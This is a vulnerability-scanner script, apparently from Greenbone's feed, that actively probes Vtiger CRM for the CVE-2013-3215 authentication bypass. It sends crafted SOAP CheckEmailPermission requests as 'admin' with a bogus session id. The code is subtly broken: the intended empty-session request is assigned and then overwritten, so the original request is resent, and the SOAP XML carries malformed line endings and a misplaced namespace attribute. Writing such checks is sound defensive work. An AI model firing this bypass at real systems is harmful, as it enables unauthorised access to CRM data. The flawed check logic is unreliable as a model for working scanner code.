Vtiger CRM 5.1.0 - 5.4.0 Authentication Bypass Vulnerability - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vtiger:vtiger_crm";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103972");
  script_version("2026-05-07T06:32:13+0000");
  script_tag(name:"last_modification", value:"2026-05-07 06:32:13 +0000 (Thu, 07 May 2026)");
  script_tag(name:"creation_date", value:"2014-01-28 15:47:55 +0700 (Tue, 28 Jan 2014)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-01-31 19:54:00 +0000 (Fri, 31 Jan 2020)");

  script_cve_id("CVE-2013-3215");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Vtiger CRM 5.1.0 - 5.4.0 Authentication Bypass Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_vtiger_crm_http_detect.nasl");
  script_mandatory_keys("vtiger/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Vtiger CRM is prone to an authentication bypass
  vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to exploit the vulnerability by calling the respective
  SOAP call.");

  script_tag(name:"insight", value:"The vulnerable code is located in the validateSession()
  function, which is defined in multiple SOAP services.");

  script_tag(name:"impact", value:"A remote attacker can bypass the authentication mechanism.");

  script_tag(name:"affected", value:"Vtiger CRM version 5.1.0 through 5.4.0.");

  script_tag(name:"solution", value:"Apply the patch from the referenced vendor advisory or
  update to version 6.0 or later.");

  script_xref(name:"URL", value:"https://www.vtiger.com/blogs/?p=1467");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61559");
  script_xref(name:"URL", value:"http://karmainsecurity.com/KIS-2013-08");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name( port:port );

# Create a SOAP request for checking email permission
function checkemail_soap_req(user, sessionid) {
  local_var user, sessionid;
  local_var soapreq;

  soapreq = '<?xml version="1.0" encoding="UTF-8"?>\r\n' +
            '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\r\n' +
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema"\r\r\n' +
            'xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"\r\r\n' +
            'xmlns:crm="http://www.vtiger.com/products/crm">\r\n' +
            'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\r\n' +
            '<soapenv:Header/>\r\n' +
            '<soapenv:Body>\r\n' +
            '  <crm:CheckEmailPermission\r\n' +
            '     soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n' +
            '    <username\r\n' +
            '      xsi:type="xsd:string">' +
            user +
            '</username>\r\n' +
            '    <session\r\n' +
            '      xsi:type="xsd:string">' +
            sessionid +
            '</session>\r\n' +
            '  </crm:CheckEmailPermission>\r\n' +
            '</soapenv:Body>\r\n' +
            '</soapenv:Envelope>';

  return soapreq;
}

# First we check if the app is responding on this service with an invalid session id
randint = rand() % 4;
sessionid = rand_str(length: 4 + randint, charset: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
request = checkemail_soap_req(user: "admin", sessionid: sessionid);

url = dir + "/soap/vtigerolservice.php";

headers = make_array("Content-Type", "text/xml; charset=UTF-8");

req = http_post_put_req(port: port, url: url, data: request, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if (!res || !ereg(string: res, pattern:'<return xsi:nil="true" xsi:type="xsd:string"/>', icase: FALSE))
  exit(0);

req = checkemail_soap_req(user: "admin", sessionid: "");

req = http_post_put_req(port: port, url: url, data: request, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if (res && egrep(string: res, pattern: '<return xsi:type="xsd:string">.*</return>', icase: FALSE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);